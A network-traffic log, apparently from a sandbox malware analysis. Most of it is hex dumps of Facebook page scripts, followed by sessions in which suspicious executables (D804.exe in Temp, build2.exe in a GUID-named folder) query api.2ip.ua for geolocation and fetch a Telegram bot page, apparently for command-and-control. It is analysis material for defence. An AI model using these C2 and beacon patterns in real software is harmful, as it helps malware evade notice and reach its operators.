2023-05-28 08:43:21 UTC	1260	IN	Data Raw: 5b 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 33 5f 36 76 22 2c 7b 22 5f 5f 68 74 6d 6c 22 3a 22 45 6e 67 6c 69 73 68 20 28 55 4b 29 22 7d 2c 31 5d 2c 5b 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 34 5f 65 37 22 2c 7b 22 5f 5f 68 74 6d 6c 22 3a 22 45 6e 67 6c 69 73 68 20 28 55 53 29 22 7d 2c 31 5d 2c 5b 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 35 5f 2b 59 22 2c 7b 22 5f 5f 68 74 6d 6c 22 3a 22 45 73 70 61 5c 75 30 30 66 31 6f 6c 22 7d 2c 31 5d 2c 5b 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 36 5f 4a 68 22 2c 7b 22 5f 5f 68 74 6d 6c 22 3a 22 45 73 70 61 5c 75 30 30 66 31 6f 6c 20 28 45 73 70 61 5c 75 30 30 66 31 61 29 22 7d 2c 31 5d 2c 5b 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 Data Ascii: ["__markup_3310c079_0_3_6v",{"__html":"English (UK)"},1],["__markup_3310c079_0_4_e7",{"__html":"English (US)"},1],["__markup_3310c079_0_5_+Y",{"__html":"Espa\u00f1ol"},1],["__markup_3310c079_0_6_Jh",{"__html":"Espa\u00f1ol (Espa\u00f1a)"},1],["__markup_33
2023-05-28 08:43:21 UTC	1261	IN	Data Raw: 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 71 5f 4a 46 22 2c 7b 22 5f 5f 68 74 6d 6c 22 3a 22 5c 75 30 65 32 30 5c 75 30 65 33 32 5c 75 30 65 32 39 5c 75 30 65 33 32 5c 75 30 65 34 34 5c 75 30 65 31 37 5c 75 30 65 32 32 22 7d 2c 31 5d 2c 5b 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 72 5f 52 71 22 2c 7b 22 5f 5f 68 74 6d 6c 22 3a 22 5c 75 34 65 32 64 5c 75 36 35 38 37 28 5c 75 35 33 66 30 5c 75 37 30 36 33 29 22 7d 2c 31 5d 2c 5b 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 73 5f 51 71 22 2c 7b 22 5f 5f 68 74 6d 6c 22 3a 22 5c 75 34 65 32 64 5c 75 36 35 38 37 28 5c 75 37 62 38 30 5c 75 34 66 35 33 29 22 7d 2c 31 5d 2c 5b 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 74 5f 63 41 22 2c 7b 22 Data Ascii: markup_3310c079_0_q_JF",{"__html":"\u0e20\u0e32\u0e29\u0e32\u0e44\u0e17\u0e22"},1],["__markup_3310c079_0_r_Rq",{"__html":"\u4e2d\u6587(\u53f0\u7063)"},1],["__markup_3310c079_0_s_Qq",{"__html":"\u4e2d\u6587(\u7b80\u4f53)"},1],["__markup_3310c079_0_t_cA",{"
2023-05-28 08:43:21 UTC	1263	IN	Data Raw: 66 61 63 31 35 5f 30 5f 30 5f 32 52 22 5d 2c 5b 22 5f 5f 65 6c 65 6d 5f 61 35 38 38 66 35 30 37 5f 30 5f 64 5f 6f 4d 22 2c 22 75 5f 30 5f 68 5f 62 49 22 2c 31 2c 22 5f 5f 6d 61 72 6b 75 70 5f 39 66 35 66 61 63 31 35 5f 30 5f 30 5f 32 52 22 5d 2c 5b 22 5f 5f 65 6c 65 6d 5f 61 35 38 38 66 35 30 37 5f 30 5f 65 5f 56 57 22 2c 22 75 5f 30 5f 69 5f 63 47 22 2c 31 2c 22 5f 5f 6d 61 72 6b 75 70 5f 39 66 35 66 61 63 31 35 5f 30 5f 30 5f 32 52 22 5d 2c 5b 22 5f 5f 65 6c 65 6d 5f 34 35 64 37 33 62 35 64 5f 30 5f 31 5f 39 48 22 2c 22 75 5f 30 5f 6a 5f 72 49 22 2c 31 2c 22 5f 5f 6d 61 72 6b 75 70 5f 39 66 35 66 61 63 31 35 5f 30 5f 30 5f 32 52 22 5d 2c 5b 22 5f 5f 65 6c 65 6d 5f 34 35 64 37 33 62 35 64 5f 30 5f 30 5f 65 47 22 2c 22 75 5f 30 5f 6b 5f 50 31 22 2c 31 2c Data Ascii: fac15_0_0_2R"],["__elem_a588f507_0_d_oM","u_0_h_bI",1,"__markup_9f5fac15_0_0_2R"],["__elem_a588f507_0_e_VW","u_0_i_cG",1,"__markup_9f5fac15_0_0_2R"],["__elem_45d73b5d_0_1_9H","u_0_j_rI",1,"__markup_9f5fac15_0_0_2R"],["__elem_45d73b5d_0_0_eG","u_0_k_P1",1,
2023-05-28 08:43:21 UTC	1264	IN	Data Raw: 6c 65 22 2c 22 6c 69 73 74 65 6e 46 6f 72 55 6e 63 61 75 67 68 74 45 72 72 6f 72 73 22 2c 5b 5d 2c 5b 5d 5d 2c 5b 22 48 61 72 64 77 61 72 65 43 53 53 22 2c 22 69 6e 69 74 22 2c 5b 5d 2c 5b 5d 5d 2c 5b 22 57 65 62 43 6f 6f 6b 69 65 4c 6f 63 61 6c 65 53 65 6c 65 63 74 6f 72 48 61 6e 64 6c 65 72 22 2c 22 69 6e 69 74 22 2c 5b 22 5f 5f 65 6c 65 6d 5f 65 63 37 37 61 66 62 64 5f 30 5f 30 5f 77 31 22 2c 22 5f 5f 69 6e 73 74 5f 30 32 31 38 32 30 31 35 5f 30 5f 30 5f 46 33 22 5d 2c 5b 7b 22 5f 5f 6d 22 3a 22 5f 5f 65 6c 65 6d 5f 65 63 37 37 61 66 62 64 5f 30 5f 30 5f 77 31 22 7d 2c 7b 22 5f 5f 6d 22 3a 22 5f 5f 69 6e 73 74 5f 30 32 31 38 32 30 31 35 5f 30 5f 30 5f 46 33 22 7d 2c 22 65 6e 5f 55 53 22 2c 74 72 75 65 2c 22 46 61 63 65 62 6f 6f 6b 22 5d 5d 2c 5b 22 5f Data Ascii: le","listenForUncaughtErrors",[],[]],["HardwareCSS","init",[],[]],["WebCookieLocaleSelectorHandler","init",["__elem_ec77afbd_0_0_w1","__inst_02182015_0_0_F3"],[{"__m":"__elem_ec77afbd_0_0_w1"},{"__m":"__inst_02182015_0_0_F3"},"en_US",true,"Facebook"]],["_
2023-05-28 08:43:21 UTC	1266	IN	Data Raw: 44 22 3a 22 65 6d 61 69 6c 22 2c 22 73 65 72 76 65 72 50 72 65 66 69 6c 6c 22 3a 22 22 7d 5d 5d 2c 5b 22 46 6f 63 75 73 4c 69 73 74 65 6e 65 72 22 5d 2c 5b 22 46 6c 69 70 44 69 72 65 63 74 69 6f 6e 4f 6e 4b 65 79 70 72 65 73 73 22 5d 2c 5b 22 42 72 6f 77 73 65 72 50 72 65 66 69 6c 6c 4c 6f 67 67 69 6e 67 22 2c 22 69 6e 69 74 50 61 73 73 77 6f 72 64 46 69 65 6c 64 4c 6f 67 67 69 6e 67 22 2c 5b 5d 2c 5b 7b 22 70 61 73 73 77 6f 72 64 46 69 65 6c 64 49 44 22 3a 22 70 61 73 73 22 7d 5d 5d 2c 5b 22 4c 6f 67 69 6e 46 6f 72 6d 54 6f 67 67 6c 65 22 2c 22 69 6e 69 74 54 6f 67 67 6c 65 22 2c 5b 22 5f 5f 65 6c 65 6d 5f 61 35 38 38 66 35 30 37 5f 30 5f 33 5f 44 5a 22 2c 22 5f 5f 65 6c 65 6d 5f 61 35 38 38 66 35 30 37 5f 30 5f 34 5f 36 51 22 2c 22 5f 5f 65 6c 65 6d 5f Data Ascii: D":"email","serverPrefill":""}]],["FocusListener"],["FlipDirectionOnKeypress"],["BrowserPrefillLogging","initPasswordFieldLogging",[],[{"passwordFieldID":"pass"}]],["LoginFormToggle","initToggle",["__elem_a588f507_0_3_DZ","__elem_a588f507_0_4_6Q","__elem_
2023-05-28 08:43:21 UTC	1267	IN	Data Raw: 6e 22 2c 22 69 6e 69 74 22 2c 5b 22 5f 5f 65 6c 65 6d 5f 61 35 38 38 66 35 30 37 5f 30 5f 63 5f 57 53 22 5d 2c 5b 7b 22 5f 5f 6d 22 3a 22 5f 5f 65 6c 65 6d 5f 61 35 38 38 66 35 30 37 5f 30 5f 63 5f 57 53 22 7d 2c 22 5f 39 6e 67 62 22 2c 22 2e 5f 39 6e 67 61 22 2c 22 2e 5f 61 6c 39 63 22 2c 22 2e 5f 39 6e 67 67 22 5d 5d 2c 5b 22 43 6f 6f 6b 69 65 41 63 63 6f 72 64 69 6f 6e 22 2c 22 69 6e 69 74 22 2c 5b 22 5f 5f 65 6c 65 6d 5f 61 35 38 38 66 35 30 37 5f 30 5f 64 5f 6f 4d 22 5d 2c 5b 7b 22 5f 5f 6d 22 3a 22 5f 5f 65 6c 65 6d 5f 61 35 38 38 66 35 30 37 5f 30 5f 64 5f 6f 4d 22 7d 2c 22 5f 39 6e 67 62 22 2c 22 2e 5f 39 6e 67 61 22 2c 22 2e 5f 61 6c 39 63 22 2c 22 2e 5f 39 6e 67 67 22 5d 5d 2c 5b 22 43 6f 6f 6b 69 65 41 63 63 6f 72 64 69 6f 6e 22 2c 22 69 6e 69 Data Ascii: n","init",["__elem_a588f507_0_c_WS"],[{"__m":"__elem_a588f507_0_c_WS"},"_9ngb","._9nga","._al9c","._9ngg"]],["CookieAccordion","init",["__elem_a588f507_0_d_oM"],[{"__m":"__elem_a588f507_0_d_oM"},"_9ngb","._9nga","._al9c","._9ngg"]],["CookieAccordion","ini
2023-05-28 08:43:21 UTC	1268	IN	Data Raw: 2c 22 63 6c 6f 73 65 22 2c 6e 75 6c 6c 2c 22 5f 61 6c 37 68 22 2c 22 5f 61 6c 37 69 22 2c 22 5f 61 6c 37 63 22 5d 5d 2c 5b 22 41 6e 69 6d 61 74 69 6f 6e 22 5d 2c 5b 22 52 65 71 75 69 72 65 44 65 66 65 72 72 65 64 52 65 66 65 72 65 6e 63 65 22 2c 22 75 6e 62 6c 6f 63 6b 22 2c 5b 5d 2c 5b 5b 22 46 62 74 4c 6f 67 67 69 6e 67 22 2c 22 49 6e 74 6c 51 74 45 76 65 6e 74 46 61 6c 63 6f 45 76 65 6e 74 22 2c 22 50 61 67 65 54 72 61 6e 73 69 74 69 6f 6e 73 22 2c 22 41 6e 69 6d 61 74 69 6f 6e 22 5d 2c 22 73 64 22 5d 5d 2c 5b 22 52 65 71 75 69 72 65 44 65 66 65 72 72 65 64 52 65 66 65 72 65 6e 63 65 22 2c 22 75 6e 62 6c 6f 63 6b 22 2c 5b 5d 2c 5b 5b 22 46 62 74 4c 6f 67 67 69 6e 67 22 2c 22 49 6e 74 6c 51 74 45 76 65 6e 74 46 61 6c 63 6f 45 76 65 6e 74 22 2c 22 50 61 Data Ascii: ,"close",null,"_al7h","_al7i","_al7c"]],["Animation"],["RequireDeferredReference","unblock",[],[["FbtLogging","IntlQtEventFalcoEvent","PageTransitions","Animation"],"sd"]],["RequireDeferredReference","unblock",[],[["FbtLogging","IntlQtEventFalcoEvent","Pa
2023-05-28 08:43:21 UTC	1270	IN	Data Raw: 2f 72 73 72 63 2e 70 68 70 2f 76 33 2f 79 65 2f 72 2f 73 63 7a 58 44 79 50 41 30 55 4c 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 20 61 73 3d 22 73 63 72 69 70 74 22 20 6e 6f 6e 63 65 3d 22 76 36 68 56 58 55 4c 6c 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 2f 72 73 72 63 2e 70 68 70 2f 76 33 2f 79 6e 2f 72 2f 41 2d 34 41 73 38 55 44 41 5a 38 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 20 61 73 3d 22 73 63 72 69 70 74 22 20 6e 6f 6e 63 65 3d 22 76 36 68 56 58 55 4c 6c 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f Data Ascii: /rsrc.php/v3/ye/r/sczXDyPA0UL.js?_nc_x=Ij3Wp8lg5Kz" as="script" nonce="v6hVXULl" /><link rel="preload" href="https://static.xx.fbcdn.net/rsrc.php/v3/yn/r/A-4As8UDAZ8.js?_nc_x=Ij3Wp8lg5Kz" as="script" nonce="v6hVXULl" /><link rel="preload" href="https://
2023-05-28 08:43:21 UTC	1271	IN	Data Raw: 67 65 6c 65 74 5f 72 65 70 6c 61 79 61 62 6c 65 5f 61 63 74 69 6f 6e 73 22 3a 66 61 6c 73 65 7d 7d 29 29 3b 7d 29 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 76 36 68 56 58 55 4c 6c 22 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 3d 6e 6f 77 5f 69 6e 6c 28 29 3b 72 65 71 75 69 72 65 4c 61 7a 79 28 5b 22 5f 5f 62 69 67 50 69 70 65 22 5d 2c 66 75 6e 63 74 69 6f 6e 28 62 69 67 50 69 70 65 29 7b 62 69 67 50 69 70 65 2e 62 65 66 6f 72 65 50 61 67 65 6c 65 74 41 72 72 69 76 65 28 22 66 69 72 73 74 5f 72 65 73 70 6f 6e 73 65 22 2c 6e 29 3b 7d 29 7d 29 28 29 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 76 36 68 56 58 55 4c 6c 22 3e 72 65 71 75 69 72 65 4c 61 7a 79 28 5b 22 5f 5f 62 69 67 Data Ascii: gelet_replayable_actions":false}}));});</script><script nonce="v6hVXULl">(function(){var n=now_inl();requireLazy(["__bigPipe"],function(bigPipe){bigPipe.beforePageletArrive("first_response",n);})})();</script><script nonce="v6hVXULl">requireLazy(["__big
2023-05-28 08:43:21 UTC	1273	IN	Data Raw: 66 69 6e 65 3a 5b 5b 22 54 69 6d 65 53 6c 69 63 65 49 6e 74 65 72 61 63 74 69 6f 6e 53 56 22 2c 5b 5d 2c 7b 6f 6e 5f 64 65 6d 61 6e 64 5f 72 65 66 65 72 65 6e 63 65 5f 63 6f 75 6e 74 69 6e 67 3a 74 72 75 65 2c 6f 6e 5f 64 65 6d 61 6e 64 5f 70 72 6f 66 69 6c 69 6e 67 5f 63 6f 75 6e 74 65 72 73 3a 74 72 75 65 2c 64 65 66 61 75 6c 74 5f 72 61 74 65 3a 31 30 30 30 2c 6c 69 74 65 5f 64 65 66 61 75 6c 74 5f 72 61 74 65 3a 31 30 30 2c 69 6e 74 65 72 61 63 74 69 6f 6e 5f 74 6f 5f 6c 69 74 65 5f 63 6f 69 0d 0a Data Ascii: fine:[["TimeSliceInteractionSV",[],{on_demand_reference_counting:true,on_demand_profiling_counters:true,default_rate:1000,lite_default_rate:100,interaction_to_lite_coi
2023-05-28 08:43:21 UTC	1273	IN	Data Raw: 32 30 39 64 0d 0a 6e 66 6c 69 70 3a 7b 41 44 53 5f 49 4e 54 45 52 46 41 43 45 53 5f 49 4e 54 45 52 41 43 54 49 4f 4e 3a 30 2c 61 64 73 5f 70 65 72 66 5f 73 63 65 6e 61 72 69 6f 3a 30 2c 61 64 73 5f 77 61 69 74 5f 74 69 6d 65 3a 30 2c 45 76 65 6e 74 3a 31 7d 2c 69 6e 74 65 72 61 63 74 69 6f 6e 5f 74 6f 5f 63 6f 69 6e 66 6c 69 70 3a 7b 41 44 53 5f 49 4e 54 45 52 46 41 43 45 53 5f 49 4e 54 45 52 41 43 54 49 4f 4e 3a 31 2c 61 64 73 5f 70 65 72 66 5f 73 63 65 6e 61 72 69 6f 3a 31 2c 61 64 73 5f 77 61 69 74 5f 74 69 6d 65 3a 31 2c 45 76 65 6e 74 3a 31 30 30 7d 2c 65 6e 61 62 6c 65 5f 68 65 61 72 74 62 65 61 74 3a 74 72 75 65 2c 6d 61 78 42 6c 6f 63 6b 4d 65 72 67 65 44 75 72 61 74 69 6f 6e 3a 30 2c 6d 61 78 42 6c 6f 63 6b 4d 65 72 67 65 44 69 73 74 61 6e 63 65 Data Ascii: 209dnflip:{ADS_INTERFACES_INTERACTION:0,ads_perf_scenario:0,ads_wait_time:0,Event:1},interaction_to_coinflip:{ADS_INTERFACES_INTERACTION:1,ads_perf_scenario:1,ads_wait_time:1,Event:100},enable_heartbeat:true,maxBlockMergeDuration:0,maxBlockMergeDistance
2023-05-28 08:43:21 UTC	1274	IN	Data Raw: 41 73 79 6e 63 52 65 71 75 65 73 74 22 5d 2c 7b 5f 5f 72 63 3a 5b 22 58 41 73 79 6e 63 52 65 71 75 65 73 74 22 2c 22 41 61 32 32 70 68 65 63 6f 70 51 75 62 45 77 79 57 57 35 39 66 52 39 5f 38 65 35 43 4a 4a 57 5f 66 4a 53 4f 77 77 76 39 61 4a 45 32 2d 45 36 66 35 51 32 71 76 55 4f 34 63 68 62 43 41 6d 6a 41 37 54 61 35 76 5a 2d 57 43 6e 75 75 45 6b 47 59 64 4f 71 52 56 34 50 58 41 47 30 22 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 31 30 38 33 31 31 37 22 2c 5b 5d 2c 7b 5f 5f 72 63 3a 5b 6e 75 6c 6c 2c 22 41 61 32 32 70 68 65 63 6f 70 51 75 62 45 77 79 57 57 35 39 66 52 39 5f 38 65 35 43 4a 4a 57 5f 66 4a 53 4f 77 77 76 39 61 4a 45 32 2d 45 36 66 35 51 32 71 76 55 4f 34 63 68 62 43 41 6d 6a 41 37 54 61 35 76 5a 2d 57 43 6e 75 75 45 6b 47 59 64 4f 71 52 56 34 50 Data Ascii: AsyncRequest"],{__rc:["XAsyncRequest","Aa22phecopQubEwyWW59fR9_8e5CJJW_fJSOwwv9aJE2-E6f5Q2qvUO4chbCAmjA7Ta5vZ-WCnuuEkGYdOqRV4PXAG0"]},-1],["cr:1083117",[],{__rc:[null,"Aa22phecopQubEwyWW59fR9_8e5CJJW_fJSOwwv9aJE2-E6f5Q2qvUO4chbCAmjA7Ta5vZ-WCnuuEkGYdOqRV4P
2023-05-28 08:43:21 UTC	1276	IN	Data Raw: 69 73 74 3a 5b 22 74 69 6d 65 5f 73 70 65 6e 74 22 5d 2c 64 69 73 61 62 6c 65 64 3a 66 61 6c 73 65 2c 67 6b 73 3a 7b 62 6f 6f 73 74 65 64 5f 70 61 67 65 6c 69 6b 65 73 3a 74 72 75 65 2c 6d 65 72 63 75 72 79 5f 73 65 6e 64 5f 65 72 72 6f 72 5f 6c 6f 67 67 69 6e 67 3a 74 72 75 65 2c 70 6c 61 74 66 6f 72 6d 5f 6f 61 75 74 68 5f 63 6c 69 65 6e 74 5f 65 76 65 6e 74 73 3a 74 72 75 65 2c 67 72 61 70 68 65 78 70 6c 6f 72 65 72 3a 74 72 75 65 2c 73 74 69 63 6b 65 72 5f 73 65 61 72 63 68 5f 72 61 6e 6b 69 6e 67 3a 74 72 75 65 7d 2c 6b 6e 6f 77 6e 5f 72 6f 75 74 65 73 3a 5b 22 61 72 74 69 6c 6c 65 72 79 5f 6a 61 76 61 73 63 72 69 70 74 5f 61 63 74 69 6f 6e 73 22 2c 22 61 72 74 69 6c 6c 65 72 79 5f 6a 61 76 61 73 63 72 69 70 74 5f 74 72 61 63 65 22 2c 22 61 72 74 69 Data Ascii: ist:["time_spent"],disabled:false,gks:{boosted_pagelikes:true,mercury_send_error_logging:true,platform_oauth_client_events:true,graphexplorer:true,sticker_search_ranking:true},known_routes:["artillery_javascript_actions","artillery_javascript_trace","arti
2023-05-28 08:43:21 UTC	1277	IN	Data Raw: 45 77 47 34 45 4e 31 45 67 65 67 4d 6a 57 4b 75 77 6f 52 69 4c 65 43 62 32 5a 68 6f 44 43 6a 75 77 6a 31 31 62 72 49 77 70 4f 35 30 59 70 61 4f 73 44 57 5f 43 34 63 71 44 49 38 32 4e 51 22 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 39 38 33 38 34 34 22 2c 5b 5d 2c 7b 5f 5f 72 63 3a 5b 6e 75 6c 6c 2c 22 41 61 30 6a 33 39 6e 6f 4e 6d 4c 7a 65 48 64 69 2d 41 74 34 4c 46 4f 75 66 42 73 4e 63 4f 57 35 38 65 6e 64 66 46 62 6b 66 7a 35 42 77 51 38 51 35 68 38 58 79 47 4c 75 42 37 79 74 63 62 78 5a 2d 50 71 62 68 34 65 31 66 4f 38 62 57 46 56 6c 76 51 22 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 31 33 35 33 33 35 39 22 2c 5b 22 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 49 6d 70 6c 46 6f 72 42 6c 75 65 22 5d 2c 7b 5f 5f 72 63 3a 5b 22 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 49 6d Data Ascii: EwG4EN1EgegMjWKuwoRiLeCb2ZhoDCjuwj11brIwpO50YpaOsDW_C4cqDI82NQ"]},-1],["cr:983844",[],{__rc:[null,"Aa0j39noNmLzeHdi-At4LFOufBsNcOW58endfFbkfz5BwQ8Q5h8XyGLuB7ytcbxZ-Pqbh4e1fO8bWFVlvQ"]},-1],["cr:1353359",["EventListenerImplForBlue"],{__rc:["EventListenerIm
2023-05-28 08:43:21 UTC	1279	IN	Data Raw: 65 6e 74 53 69 67 6e 61 6c 43 6f 6c 6c 65 63 74 69 6f 6e 54 72 69 67 67 65 72 22 2c 22 73 74 61 72 74 53 69 67 6e 61 6c 43 6f 6c 6c 65 63 74 69 6f 6e 22 2c 5b 5d 2c 5b 7b 73 63 3a 22 7b 5c 22 74 5c 22 3a 31 36 35 39 30 38 30 33 34 35 2c 5c 22 63 5c 22 3a 5b 5b 33 30 30 30 30 2c 38 33 38 38 30 31 5d 2c 5b 33 30 30 30 31 2c 38 33 38 38 30 31 5d 2c 5b 33 30 30 30 32 2c 38 33 38 38 30 31 5d 2c 5b 33 30 30 30 33 2c 38 33 38 38 30 31 5d 2c 5b 33 30 30 30 34 2c 38 33 38 38 30 31 5d 2c 5b 33 30 30 30 35 2c 38 33 38 38 30 31 5d 2c 5b 33 30 30 30 36 2c 35 37 33 35 38 35 5d 2c 5b 33 30 30 30 37 2c 38 33 38 38 30 31 5d 2c 5b 33 30 30 30 38 2c 38 33 38 38 30 31 5d 2c 5b 33 30 30 31 32 2c 38 33 38 38 30 31 5d 2c 5b 33 30 30 31 33 2c 38 33 38 38 30 31 5d 2c 5b 33 30 30 Data Ascii: entSignalCollectionTrigger","startSignalCollection",[],[{sc:"{\"t\":1659080345,\"c\":[[30000,838801],[30001,838801],[30002,838801],[30003,838801],[30004,838801],[30005,838801],[30006,573585],[30007,838801],[30008,838801],[30012,838801],[30013,838801],[300
2023-05-28 08:43:21 UTC	1280	IN	Data Raw: 6c 22 5d 2c 5b 22 52 65 71 75 69 72 65 44 65 66 65 72 72 65 64 52 65 66 65 72 65 6e 63 65 22 2c 22 75 6e 62 6c 6f 63 6b 22 2c 5b 5d 2c 5b 5b 22 54 72 61 6e 73 70 6f 72 74 53 65 6c 65 63 74 69 6e 67 43 6c 69 65 6e 74 53 69 6e 67 6c 65 74 6f 6e 43 6f 6e 64 69 74 69 6f 6e 61 6c 22 5d 2c 22 73 64 22 5d 5d 2c 5b 22 52 65 71 75 69 72 65 44 65 66 65 72 72 65 64 52 65 66 65 72 65 6e 63 65 22 2c 22 75 6e 62 6c 6f 63 6b 22 2c 5b 5d 2c 5b 5b 22 54 72 61 6e 73 70 6f 72 74 53 65 6c 65 63 74 69 6e 67 43 6c 69 65 6e 74 53 69 6e 67 6c 65 74 6f 6e 43 6f 6e 64 69 74 69 6f 6e 61 6c 22 5d 2c 22 63 73 73 22 5d 5d 5d 7d 2c 68 73 72 70 3a 7b 68 73 64 70 3a 7b 63 6c 70 44 61 74 61 3a 7b 22 31 37 34 33 30 39 35 22 3a 7b 72 3a 31 2c 73 3a 31 7d 2c 22 31 38 37 31 36 39 37 22 3a 7b Data Ascii: l"],["RequireDeferredReference","unblock",[],[["TransportSelectingClientSingletonConditional"],"sd"]],["RequireDeferredReference","unblock",[],[["TransportSelectingClientSingletonConditional"],"css"]]]},hsrp:{hsdp:{clpData:{"1743095":{r:1,s:1},"1871697":{

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.3	49844	162.0.217.254	443	C:\Users\user\AppData\Local\Temp\D804.exe

Timestamp	kBytes transferred	Direction	Data
2023-05-28 08:43:22 UTC	1281	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2023-05-28 08:43:22 UTC	1281	IN	HTTP/1.1 429 Too Many Requests Date: Sun, 28 May 2023 08:43:22 GMT Server: Apache Strict-Transport-Security: max-age=63072000; preload X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block; report=... Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, PUT, OPTIONS, PATCH, DELETE Access-Control-Allow-Headers: X-Accept-Charset,X-Accept,Content-Type Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-05-28 08:43:22 UTC	1282	IN	Data Raw: 32 32 61 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 09 09 09 09 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 68 65 6c 70 40 32 69 70 2e 6d 65 3f 73 75 62 6a 65 63 74 3d 32 69 70 2e 6d 65 22 3e 68 65 6c 70 40 32 69 70 2e 6d 65 3c 2f 61 3e 2e 20 3c 62 72 3e 3c 62 72 3e 20 d0 Data Ascii: 22a<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="mailto:help@2ip.me?subject=2ip.me">help@2ip.me</a>. <br><br>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.3	49853	162.0.217.254	443	C:\Users\user\AppData\Local\Temp\D804.exe

Timestamp	kBytes transferred	Direction	Data
2023-05-28 08:43:24 UTC	1282	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2023-05-28 08:43:24 UTC	1282	IN	HTTP/1.1 429 Too Many Requests Date: Sun, 28 May 2023 08:43:24 GMT Server: Apache Strict-Transport-Security: max-age=63072000; preload X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block; report=... Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, PUT, OPTIONS, PATCH, DELETE Access-Control-Allow-Headers: X-Accept-Charset,X-Accept,Content-Type Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-05-28 08:43:24 UTC	1283	IN	Data Raw: 32 32 61 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 09 09 09 09 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 68 65 6c 70 40 32 69 70 2e 6d 65 3f 73 75 62 6a 65 63 74 3d 32 69 70 2e 6d 65 22 3e 68 65 6c 70 40 32 69 70 2e 6d 65 3c 2f 61 3e 2e 20 3c 62 72 3e 3c 62 72 3e 20 d0 Data Ascii: 22a<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="mailto:help@2ip.me?subject=2ip.me">help@2ip.me</a>. <br><br>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.3	49883	149.154.167.99	443	C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build2.exe

Timestamp	kBytes transferred	Direction	Data
2023-05-28 08:43:30 UTC	1283	OUT	GET /looking_glassbot HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; x64 rv:107.0) Gecko / 20100101 Firefox / 107.0 Host: t.me Cookie: stel_ssid=638c97e8fa9f45a999_4963120488110758311
